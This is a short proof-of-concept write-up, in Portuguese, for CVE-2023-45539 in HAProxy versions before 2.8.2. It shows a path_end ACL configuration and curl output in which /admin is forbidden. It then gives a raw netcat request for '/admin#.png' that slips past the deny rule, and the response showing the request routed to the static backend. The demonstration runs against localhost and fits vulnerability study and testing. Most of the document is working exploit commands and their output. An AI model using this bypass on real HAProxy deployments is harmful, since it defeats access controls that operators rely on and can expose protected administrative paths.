
HAProxy-CVE-2023-45539-PoC
O HAProxy anterior à versão 2.8.2 aceita # como parte do componente URI, o que pode permitir que atacantes remotos obtenham informações sensíveis ou tenham outro impacto não especificado devido à má interpretação de uma regra path_end, como rotear index.html#.png para um servidor estático.
O que é mal roteado neste CVE não é nenhuma extensão que o backend "suporta" — são apenas aquelas que o próprio HAProxy está configurado para rotear usando ACLs path_end (ou regex).
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
Isso significa:
O HAProxy não se importa se o backend consegue realmente servir .png, .js, etc.
Ele apenas verifica a correspondência do sufixo no caminho da requisição.
Se o sufixo corresponder a uma dessas strings, ele roteia para be_static.
Então:
/admin#.png → corresponde a .png → vai para be_static → bypass
/admin#.asc → não corresponde → permanece em be_app → encontra negação → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)